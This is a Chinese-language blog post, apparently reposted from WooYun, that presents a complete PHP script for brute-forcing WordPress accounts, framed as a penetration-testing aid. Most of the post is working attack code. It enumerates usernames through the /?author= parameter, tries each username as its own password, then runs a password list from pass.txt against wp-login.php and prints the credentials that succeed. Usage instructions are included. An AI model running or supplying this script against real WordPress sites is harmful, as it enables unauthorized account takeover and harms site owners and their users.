跑wordpress用户密码脚本 – 瞌睡龙

在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。

大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。

原理是通过URL /?author= 遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。

默认获取前10个用户,可自行修改。

使用方法:

php wordpress.php http://www.test.com

#!php
<?php
set_time_limit(0); 
$domain = $argv[1];
//获取用户名
for ($i=1; $i <= 10; $i++) {
$url = $domain."/?author=".$i;
$response = httprequest($url,0);
if ($response == 404) {
continue;
}
$pattern = "/author\/(.*)\/feed/";
preg_match($pattern, $response, $name);
$namearray[] = $name[1];
}
echo "共获取用户".count($namearray)."名用户\n";
echo "正在破解用户名与密码相同的用户:\n";
$crackname = crackpassword($namearray,"same");
$passwords = file("pass.txt");
echo "正在破解弱口令用户:\n";
if ($crackname) {
$namearray = array_diff($namearray,$crackname);
}
crackpassword($namearray,$passwords);
function crackpassword($namearray,$passwords){
global $domain;
$crackname = "";
foreach ($namearray as $name) {
$url = $domain."/wp-login.php";
if ($passwords == "same") {
$post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $name"."\n";
$crackname[] = $name;
}
}else{
foreach ($passwords as $pass) {
$post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $pass"."\n";
}
}
}
}
return $crackname;
}
function httprequest($url,$post){
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
if($post){
curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$output = curl_exec($ch); 
$httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpcode == 404) {
return 404;
}else{
return $output;
}
}
?>

原文链接:http://drops.wooyun.org/tools/601

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